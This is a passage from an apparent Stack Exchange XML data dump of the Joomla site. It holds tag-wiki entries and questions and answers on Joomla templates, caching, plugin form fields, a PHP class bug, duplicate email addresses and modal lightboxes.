CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10071" PostTypeId="5" CreationDate="2015-05-22T17:13:08.363" Score="0" Body="&lt;h1&gt;Form&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;A web form, also called html form, is a special html element consisting of several input elements, that allows the users to enter and send data to the server. One of the most common type of forms are the contact forms in websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla core includes the Contact Component, that allows the creation of a basic contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For extended and more complicated form functionality there are dozens of &lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=&amp;amp;filter%5Btags%5D%5B%5D=&amp;amp;filter%5Bcore_catid%5D=74&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow&quot;&gt;Form-Builders Extensions&lt;/a&gt;&lt;/strong&gt; in &lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T16:09:38.500" LastActivityDate="2015-08-21T16:09:38.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10072" PostTypeId="4" CreationDate="2015-05-22T17:13:08.363" Score="0" Body="A web form, also called html form, is a special html element consisting of several input elements, that allows the users to enter and send data to the server. One of the most common type of forms are the contact forms in websites." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-22T17:13:08.363" LastActivityDate="2015-05-22T17:13:08.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10073" PostTypeId="5" CreationDate="2015-05-22T17:21:37.830" Score="0" Body="" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-22T17:21:37.830" LastActivityDate="2015-05-22T17:21:37.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10074" PostTypeId="4" CreationDate="2015-05-22T17:21:37.830" Score="0" Body="Media Manager is the Joomla Built-in tool to upload, manage and delete files and images in Joomla." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-22T17:21:37.830" LastActivityDate="2015-05-22T17:21:37.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10075" PostTypeId="5" CreationDate="2015-05-22T17:27:09.827" Score="0" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/akeeba-backup&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt;&lt;/strong&gt; is a popular extension for backing up Joomla websites to a single archive. Akeeba archives can easily be used to restore a website or transfer a website to an alternative host.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;History&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Starting life as &quot;JoomlaPack&quot; for Joomla 1.0, Akeeba Backup first appeared for Joomla 1.5 with subsequent versions for Joomla 2.5 and 3.x.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Compatibility&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;See the &lt;strong&gt;&lt;a href=&quot;https://www.akeebabackup.com/compatibility.html&quot; rel=&quot;nofollow&quot;&gt;Version Compatibility&lt;/a&gt;&lt;/strong&gt; page to determine the correct version of Akeeba Backup for your Joomla and PHP version.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Free and Paid Versions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&quot;Core&quot; (free) and &quot;Professional&quot; (paid) versions of Akeeba Backup are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Professional version of Akeeba Backup provides additional functionality such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;encryption&lt;/li&gt;&#xA;&lt;li&gt;scheduled backups&lt;/li&gt;&#xA;&lt;li&gt;backup to external destinations&lt;/li&gt;&#xA;&lt;li&gt;backup other files and databases&lt;/li&gt;&#xA;&lt;li&gt;incremental file backup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See the &lt;strong&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/405-akeeba-core-vs-professional.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Core vs. Professional&lt;/a&gt;&lt;/strong&gt; page for more details.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Links&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.akeebabackup.com/download.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Downloads&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.akeebabackup.com/support.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Support&lt;/a&gt;&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.akeebabackup.com/documentation.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Documentation&lt;/a&gt;&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="120" LastEditDate="2016-02-26T14:01:04.760" LastActivityDate="2016-02-26T14:01:04.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10076" PostTypeId="4" CreationDate="2015-05-22T17:27:09.827" Score="0" Body="Akeeba backup is a popular extension for backing up Joomla websites and can also help in transferring a website to an alternative host." OwnerUserId="126" LastEditorUserId="120" LastEditDate="2016-02-26T14:00:10.693" LastActivityDate="2016-02-26T14:00:10.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10077" PostTypeId="5" CreationDate="2015-05-22T17:28:59.290" Score="0" Body="&lt;p&gt;&lt;strong&gt;HikaShop&lt;/strong&gt; is an E-Commerce extension for Joomla 1.5, 2.5 and 3.x. It is built for simplicity and flexibility.&lt;br&gt;&#xA;HikaShop also has a wide range of marketing tools, but also powerful statistics displayable on your HikaShop dashboard to help you manage your store.&lt;br&gt;&#xA;It provides advanced taxes, zones, languages and currencies management for worldwide sales as well as advanced customization capabilities of your online shop in order to meet your website ecommerce needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hikashop Useful Links&lt;/strong&gt;&lt;br&gt;&#xA; - &lt;a href=&quot;https://www.hikashop.com/support/forum.html&quot; rel=&quot;nofollow&quot;&gt;Support Forum&lt;/a&gt;&lt;br&gt;&#xA; - &lt;a href=&quot;https://www.hikashop.com/support/documentation.html&quot; rel=&quot;nofollow&quot;&gt;Documentation&lt;/a&gt;&lt;br&gt;&#xA; - &lt;a href=&quot;http://extensions.joomla.org/extension/hikashop&quot; rel=&quot;nofollow&quot;&gt;Demo Site&lt;/a&gt;&lt;br&gt;&#xA; - &lt;a href=&quot;http://demo.hikashop.com/index.php/en/&quot; rel=&quot;nofollow&quot;&gt;JED Listing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-04T17:35:35.200" LastActivityDate="2015-06-04T17:35:35.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10078" PostTypeId="4" CreationDate="2015-05-22T17:28:59.290" Score="0" Body="Hikashop is an e-commerce extension for Joomla. Use this tag for any questions about the various extensions provided by Hikari Software Team (the developers of hikashop extensions: free, business, hikamarket etc)." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-04T17:35:35.200" LastActivityDate="2015-06-04T17:35:35.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10079" PostTypeId="5" CreationDate="2015-05-22T17:43:54.270" Score="0" Body="&lt;h1&gt;Language&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Joomla and many extensions are shipped in various languages. To support this functionality, language packs can be installed for Joomla, while extensions can contain many language files. A language file is a special php.ini file dedicated to a specific language, that contains the languages strings used across the extension and their translations for that language. &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T16:10:46.267" LastActivityDate="2015-08-21T16:10:46.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10080" PostTypeId="4" CreationDate="2015-05-22T17:43:54.270" Score="0" Body="For questions related to making an extension support many languages, adding translation strings, creating language overrides etc.&#xD;&#xA;* For questions related in creating Joomla sites with multi-lingual content, better use the multilingual tag." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-22T17:43:54.270" LastActivityDate="2015-05-22T17:43:54.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10081" PostTypeId="2" ParentId="9245" CreationDate="2015-05-22T17:53:40.947" Score="1" Body="&lt;p&gt;You can make discounts in VM2 with: &#xA;VM2 -&gt; Taxes &amp;amp; Calculation rules -&gt; and make a new rule with: &#xA;-Price modifier after tax;&#xA;-Math Operation=(-);&#xA;-Value=(Your Discount)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even set dates or choose categories or whatnot.&#xA;Maybe it's not a elegant solution for your non-tech end users/admins, but in the administration they get a dropdown of discounts under tax rules which does the job, the styling can be done too. You can have a look from where this is done, i believe the files are under: &#xA;/administrator/components/com_virtuemart/views/calc/&lt;/p&gt;&#xA;" OwnerUserId="1590" LastActivityDate="2015-05-22T17:53:40.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10082" PostTypeId="1" AcceptedAnswerId="10083" CreationDate="2015-05-22T18:00:50.017" Score="1" ViewCount="347" Body="&lt;p&gt;I am having an issue where I cannot unassign the index.php's theme (along with two other pages) from one theme/style and onto another. :( I've tried to change themes and then change it back to this one, I've also tried to delete the template (which does not work because &amp;quot;cannot delete root folder&amp;quot;). I've done nothing aside from selecting another theme which I am trying to change from to another theme&lt;/p&gt;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5SXUN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="5308" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-05-23T16:40:58.647" Title="Template Menu Assignment Is Grayed Out" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10083" PostTypeId="2" ParentId="10082" CreationDate="2015-05-22T18:17:56.333" Score="1" Body="&lt;p&gt;It looks like you want to apply a different template for the frontend? If that's the case - go back to previous menu and set as default other template - for example &lt;code&gt;protostar&lt;/code&gt; or what you have installed last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu assignment checkboxes grayed out:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: If a checkbox is grayed out and cannot be checked then it could be because the menu item is in use by another user. You can see if this is the case by going to the menu manager screen for the menu concerned. If there is a padlock symbol next to the menu item then it is currently in use by another user.&#xA;  Source: &#xA;  &lt;a href=&quot;https://docs.joomla.org/Help25:Extensions_Template_Manager_Styles_Edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Check your Menu Manager for padlocks like that in the picture below and unlock them. &lt;img src=&quot;https://i.stack.imgur.com/5RlFz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="1995" LastEditDate="2015-05-23T16:40:58.647" LastActivityDate="2015-05-23T16:40:58.647" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10085" PostTypeId="1" CreationDate="2015-05-23T08:43:08.197" Score="2" ViewCount="2333" Body="&lt;p&gt;I searched a lot about the subject but I didn't find any good resource, I'm new to server caching technology (redis, memcache,,,etc.) can anyone advice about good server caching and how to use it with Joomla latest version 3.4.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm already using Joomla builtin cache, but I want also to use server caching to reduce the time to generate pages so instead of generating the same page from the database on each request to the site, it will be served from the cache&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;" OwnerUserId="3676" LastEditorUserId="126" LastEditDate="2016-01-21T22:45:17.733" LastActivityDate="2016-01-21T22:45:17.733" Title="Using Joomla with redis" Tags="|joomla-3.x|cache|server-response-time|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10089" PostTypeId="1" CreationDate="2015-05-24T05:50:03.707" Score="0" ViewCount="238" Body="&lt;p&gt;I have used the joomla docs to make a hello world plugin and then again the joomla docs to load the plugin within the joomla banners component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant seem to load the extra tabs inside the banner edit view in the admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My helloworld.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;class plgContentHelloworld extends JPlugin&#xA;{&#xA;    /**&#xA;     * Load the language file on instantiation.&#xA;     * Note this is only available in Joomla 3.1 and higher.&#xA;     * If you want to support 3.0 series you must override the constructor&#xA;     *&#xA;     * @var boolean&#xA;     * @since 3.1&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;    function onContentPrepareForm($form, $data) {&#xA;        $app = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;        switch($option) {&#xA;            case 'com_banners':&#xA;                if ($app-&amp;gt;isAdmin()) {&#xA;                    JForm::addFormPath(__DIR__ . '/forms'); // this is the path to the xml file&#xA;                    $form-&amp;gt;loadFile('bannerfields', false); // this is the xml file&#xA;                    echo '&amp;lt;h1&amp;gt;Youre in the banners edit view!&amp;lt;/h1&amp;gt;'; // this works&#xA;                }&#xA;                return true;&#xA;        }&#xA;        return true;&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My helloworld.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.0&quot; type=&quot;plugin&quot; group=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;name&amp;gt;plg_content_helloworld&amp;lt;/name&amp;gt;&#xA;        &amp;lt;author&amp;gt;blah&amp;lt;/author&amp;gt;&#xA;       &amp;lt;creationDate&amp;gt;2012-10-21&amp;lt;/creationDate&amp;gt;&#xA;        &amp;lt;copyright&amp;gt;blah&amp;lt;/copyright&amp;gt;&#xA;        &amp;lt;license&amp;gt;GNU General Public License&amp;lt;/license&amp;gt;&#xA;        &amp;lt;authorEmail&amp;gt;blah&amp;lt;/authorEmail&amp;gt;&#xA;        &amp;lt;authorUrl&amp;gt;blah&amp;lt;/authorUrl&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;        &amp;lt;description&amp;gt;blah&amp;lt;/description&amp;gt;&#xA;        &amp;lt;files&amp;gt;&#xA;                &amp;lt;filename plugin=&quot;helloworld&quot;&amp;gt;helloworld.php&amp;lt;/filename&amp;gt;&#xA;                &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;forms/bannerfields.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;  &amp;lt;form&amp;gt;&#xA;   &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;extrafields&quot; label=&quot;Extra content&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;numero&quot; type=&quot;text&quot; size=&quot;50&quot; default=&quot;&quot; label=&quot;Example field&quot; description=&quot;&quot;  class=&quot;inputbox&quot; labelclass=&quot;control-label&quot;  /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;&#xA;       &amp;lt;fieldset name=&quot;extrafields2&quot; label=&quot;Extra content 2&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;example1&quot; type=&quot;text&quot; size=&quot;100&quot; default=&quot;&quot; label=&quot;Example 1&quot; description=&quot;&quot; class=&quot;inputbox&quot; labelclass=&quot;control-label&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;example2&quot; type=&quot;text&quot; size=&quot;100&quot; default=&quot;&quot; label=&quot;Example 2&quot; description=&quot;&quot; class=&quot;inputbox&quot; labelclass=&quot;control-label&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;example3&quot; type=&quot;text&quot; size=&quot;100&quot; default=&quot;&quot; label=&quot;Example 3&quot; description=&quot;&quot; class=&quot;inputbox&quot; labelclass=&quot;control-label&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;example4&quot; type=&quot;text&quot; size=&quot;100&quot; default=&quot;&quot; label=&quot;Example 4&quot; description=&quot;&quot; class=&quot;inputbox&quot; labelclass=&quot;control-label&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="3842" LastEditorUserId="159" LastEditDate="2015-05-24T09:51:45.920" LastActivityDate="2015-05-25T14:37:51.130" Title="How to add extra tabs inside the banner edit view using a plugin?" Tags="|plugin|fix-my-code|joomla-3.4|com-banners|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10090" PostTypeId="1" CreationDate="2015-05-24T06:36:48.373" Score="2" ViewCount="425" Body="&lt;p&gt;I had followed this basic &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Adding_a_menu_type_to_the_site_part&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; and successful created new menu type name &quot;hello world&quot; with 2 views inside &quot;tmpl&quot; folder name &quot;default.php&quot; &amp;amp; &quot;other.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fYel7.png&quot; alt=&quot;Menu&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8nSxg.png&quot; alt=&quot;Problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem here is, I wanted to create 2 different views with different content inside each view. But both of 2 files &quot;other.php &amp;amp; default.php&quot; are point to com_helloworld/helloworld.php with same content in helloworld.php file. I tried to search for solution several hours but unable to find a solution for this issue. Please advise how to point out the &quot;other.php&quot; file in tmpl folder to different file instead of current &quot;helloworld.php&quot; file :(&lt;/p&gt;&#xA;" OwnerUserId="5314" LastActivityDate="2015-05-26T21:20:35.437" Title="Joomla 3.4.2 - add more menu type in same component" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|joomla-3.4|" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-27T14:06:06.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="10091" PostTypeId="1" CreationDate="2015-05-24T06:59:48.463" Score="1" ViewCount="327" Body="&lt;p&gt;I am making a module displaying google map and retrieving the data in the marker info box from database. It is a hotel booking website. The currency stored in the database is Hotel's default currency while my goal is to show currency according to user's location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using geoplugin class but it stops working when I try to pass variable or try to set variable in the class. I fetched the currency code from the database and tried to pass as variable to set it as base currency but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$curr = &quot;USD&quot;; // say &quot;USD&quot; is fetched from database&#xA;&#xA;class geoPlugin {&#xA;&#xA;  public $curr;&#xA;  //the geoPlugin server&#xA;  var $host = 'http://www.geoplugin.net/php.gp?ip={IP}&amp;amp;base_currency={CURRENCY}';&#xA;&#xA;&#xA;  //the default base currency&#xA;  var $currency = $curr;&#xA;  or $currency = $this-&amp;gt;curr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried to set the variable inside the class&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class geoPlugin {&#xA;&#xA;  var $host = 'http://www.geoplugin.net/php.gp?ip={IP}&amp;amp;base_currency={CURRENCY}';&#xA;  public $curren;&#xA;&#xA;  public function setVariableOne($curr) {&#xA;  $this-&amp;gt;$curren = $curr;&#xA;}&#xA;&#xA;//the default base currency&#xA;var $currency = $curren;&#xA;and in index file&#xA;&#xA;$geoplugin = new geoPlugin();&#xA;$geoplugin-&amp;gt;setVariableOne('USD');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3517" LastEditorUserId="4134" LastEditDate="2015-05-25T11:43:45.447" LastActivityDate="2015-05-26T09:13:09.440" Title="Need to pass currency code in geoplugin class as variable" Tags="|php|fix-my-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10092" PostTypeId="2" ParentId="10091" CreationDate="2015-05-24T12:10:15.303" Score="2" Body="&lt;p&gt;First of all change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;$curren = $curr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;curren = $curr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add default to property just after class opening tag (not in method) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $curr = 'USD';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT1 :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class geoPlugin {&#xA;&#xA;    public $curren;&#xA;&#xA;    public function setVariableOne($curr) &#xA;    {&#xA;        $this-&amp;gt;curren = $curr;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thats work try if this code not work for you plz give us some hints by using errrors ; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit2: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;do this and tell me if is working for you ( save it to new file ).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class geoPlugin {&#xA;&#xA;    public $curren = 'USD';&#xA;&#xA;    public function setVariableOne($curr) &#xA;    {&#xA;        $this-&amp;gt;curren = $curr;&#xA;    }&#xA;&#xA;    public function getVariableOne()&#xA;    {&#xA;        return $this-&amp;gt;curren;&#xA;    }&#xA;}&#xA;&#xA;$geo = new geoPlugin();&#xA;var_dump( $geo-&amp;gt;getVariableOne() ); // return 'USD' string&#xA;$geo-&amp;gt;setsetVariableOne('EUR');&#xA;var_dump( $geo-&amp;gt;getVariableOne() ); // return 'EUR' string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if this give you a blank page, please set error_reporting(-1) and then tell me the error code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pastebin with geoplugin.class.php and it's working as it should be: &lt;a href=&quot;http://pastebin.com/FWkYVsjg&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/FWkYVsjg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5203" LastEditorUserId="5203" LastEditDate="2015-05-26T09:13:09.440" LastActivityDate="2015-05-26T09:13:09.440" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10093" PostTypeId="2" ParentId="10085" CreationDate="2015-05-25T00:12:50.000" Score="2" Body="&lt;p&gt;If you wanted to use Redis, I believe you would set it up on the server first (how you would install it would depend on the type of server you were running). Once completed, Redis would become available as a cache handler option in Joomla. This process should be the same for memcached and other caching methods that Joomla accepts. As for which caching system is best, I do not know (and it would be too broad to cover in this answer). Whether you store Joomla sessions in the cache may be a factor in determining which caching system you use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of the caching system you employ it is a good idea to use a PHP accelerator such as Zend Opcache. Zend Opcache &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;improves PHP performance by storing precompiled script bytecode in&#xA;  shared memory. This means that any subsequent requests for the same&#xA;  PHP script will not need to be parsed and compiled (as is the case&#xA;  normally) because the cached version of the script will be executed instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;REFERENCE: &lt;a href=&quot;http://www.aljtmedia.com/blog/getting-started-with-php-opcache-memcached-and-varnish-cache-web-accelerator-on-centos-65/&quot; rel=&quot;nofollow&quot;&gt;http://www.aljtmedia.com/blog/getting-started-with-php-opcache-memcached-and-varnish-cache-web-accelerator-on-centos-65/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other opcode cache systems are available, mostly depending on the PHP version used on the server. Zend Opcache works with PHP5.5+ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Random note to self: There is a lot of mention of using APCu with Zend Opcache. From my understanding it works as a datastore and is much like Redis and memcached (I could be wrong though).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To further complicate things you could take a look at reverse caching proxies such as Nginx or Varnish. From my very limited research Varnish doesn't seem to work well with Joomla. I believe it also has problems with SSL.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-05-25T00:12:50.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10094" PostTypeId="1" AcceptedAnswerId="10109" CreationDate="2015-05-25T04:05:56.870" Score="1" ViewCount="633" Body="&lt;p&gt;I am tring to override Joomlas function to not allow duplicate email addresses. I know the security issues surrounding this but its I will have to have users with the same email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My users are mainly older people and often share a household email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found where it checks this in the JTableUser class in the check method at line 236&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check for existing email&#xA;    $query-&amp;gt;clear()&#xA;        -&amp;gt;select($this-&amp;gt;_db-&amp;gt;quoteName('id'))&#xA;        -&amp;gt;from($this-&amp;gt;_db-&amp;gt;quoteName('#__users'))&#xA;        -&amp;gt;where($this-&amp;gt;_db-&amp;gt;quoteName('email') . ' = ' . $this-&amp;gt;_db-&amp;gt;quote($this-&amp;gt;email))&#xA;        -&amp;gt;where($this-&amp;gt;_db-&amp;gt;quoteName('id') . ' != ' . (int) $this-&amp;gt;id);&#xA;    $this-&amp;gt;_db-&amp;gt;setQuery($query);&#xA;    $xid = (int) $this-&amp;gt;_db-&amp;gt;loadResult();&#xA;&#xA;    if ($xid &amp;amp;&amp;amp; $xid != (int) $this-&amp;gt;id)&#xA;    {&#xA;        $this-&amp;gt;setError(JText::_('JLIB_DATABASE_ERROR_EMAIL_INUSE'));&#xA;&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to override this class at a component level?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lee&lt;/p&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2015-05-25T20:50:17.980" Title="Disabling Joomla Unique Email Functionality" Tags="|joomla-3.x|component|overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10097" PostTypeId="2" ParentId="10032" CreationDate="2015-05-25T09:05:34.213" Score="2" Body="&lt;p&gt;Add &lt;code&gt;&amp;lt;?php JHtml::_('behavior.modal'); ?&amp;gt;&lt;/code&gt; to your template's index file and call the modal box (lightbox) using this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;https://www.google.com&quot; rel=&quot;{size: {x: 700, y: 500}, handler:'iframe'}&quot; class=&quot;modal&quot;&amp;gt; Open Lightbox &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do not see anything then check once, as if you used bootstrap template or css then by default &lt;code&gt;modal&lt;/code&gt; class is given as &lt;code&gt;display:none&lt;/code&gt;. So remove that display none property and then check for ti.&lt;/p&gt;&#xA;" OwnerUserId="5319" LastEditorUserId="5319" LastEditDate="2015-05-29T13:08:29.823" LastActivityDate="2015-05-29T13:08:29.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
